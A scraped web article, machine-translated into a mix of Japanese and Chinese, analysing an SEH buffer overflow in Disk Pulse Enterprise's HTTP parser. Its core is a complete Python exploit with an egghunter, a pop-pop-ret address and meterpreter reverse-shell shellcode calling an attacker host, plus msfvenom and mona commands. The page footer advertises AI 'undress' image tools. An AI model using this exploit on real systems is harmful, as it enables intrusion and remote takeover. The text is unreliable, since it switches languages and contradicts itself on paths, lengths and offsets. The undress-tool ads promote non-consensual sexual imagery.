Disk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法
1. 脆弱性の紹介
Disk Pulse Enenterprise は、ディスクの変更を監視するソフトウェアであり、管理ポート 9120 または Web 管理ウィンドウ 80 を介してソフトウェアに接続して管理し、ディスクの変更を監視できます。 Disk Pulse Enterprise には、HTTP 操作を担当するいくつかの関数が含まれるダイナミック リンク ライブラリ libspp.dll があります。この問題は、このダイナミック リンク ライブラリで発生します。ポスト データを処理する際、ポスト データの長さは厳密に制御されていないため、これにより、取得したデータを実行する際に無効なメモリにデータがコピーされることでバッファオーバーフローが発生し、SEHの異常動作処理が引き起こされ、最終的にはEIPを制御して任意のコードを実行させてしまう。
ソフトウェア ダウンロード リンク: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps) /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)
脆弱性公開アドレス: https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits) /40452)
2. 実験環境
windows 7 x86: システム環境
IDA pro: 静的解析ツール
Immuneデバッガー: 脆弱性分析専用のデバッガー
WinDbg: 脆弱性デバッガー
3. 脆弱性分析
最初に、より包括的な POC を簡単に見てみましょう。バッファ オーバーフローの脆弱性が 1 つあります。この記事では、SEH 構造化例外ハンドラーと Egghunter テクノロジについて説明します。
SEH の概要
プログラミングに詳しい人は、ハードウェアおよびソフトウェアの例外を処理するためのウィンドウ メカニズムである構造化例外処理 (SEH) に精通しているかもしれません。これは通常、try/divide の合計の try/catch ブロックとして表現されます。
Egghunter 概要
簡単に言うと、マークをデザインして別のマークの位置にジャンプすることでシェルコードを実行するアドレッシング手法です。 Egghunter テクニックは、シェルコードをバッファに保存できない場合に必要です。
まず、POC を分析しましょう
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
攻撃者は http リクエスト パッケージを作成しました。投稿リクエスト、URL は /login、コンテンツ長: 17000 であることがわかります。 12292 "\x41" バイトが送信され、次に "w00tw00t" 8 バイトが送信され、次に 20 "\x90" NOP バイトが送信され、その後 buf が送信され、さらに 50 NOP が送信されました。 1614 "\ "残っているのはバッファを埋めることだけです。
次に、Wen DBG を使用して、脆弱なバージョンのアプリケーションを開きます。
ペイロードを送信して脆弱性をトリガーします。 g を入力すると、戻りアドレスが上書きされ、kb は呼び出しのスタックを調べます。
ここでlibspp.dllのSCA_HttpParserのGetNextString関数を呼び出し、次にSHE異常動作処理に入り、SEHハンドラを上書きしてコード実行に至ります。
IDA を開いてポイント 10092822 を分析します。libspp の SCA_HttpParse クラスは、いくつかの HTTP 関連操作の処理を担当します。ポストデータの処理を担当する ExtractPostData という名前の関数があります。の入り口にブレークポイントを設定します。この機能。この関数のエントリ アドレスは 10092510
次の図に示すように、送信バッファは代替 POC を使用し、脆弱性を引き起こします。
# パラメータの転送状況を確認してください。後のデータは第 2 パラメータとして渡されます。完全に渡されていることに注意してください。
ここでシングルステップ追跡を続行し、前述の GetNetString 関数に到達します。
この関数は 1 つのことを実行します。それは、後のデータである最初のパラメーターを分割し、後続の処理のために各部分を段階的に分離することです。初めて GetNextString を入力した後、最初のデータが分割されていることがわかります。
ユーザー名が初めて分離されます。次に、もう一度 GetNextString を入力して、2 番目の文字列の分割を開始します。この分割プロセスにより、一連のコピー操作が実行されます。
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
四、漏洞利用
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
五、漏洞利用特征:
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
六、防御建议
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
以上がDisk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック







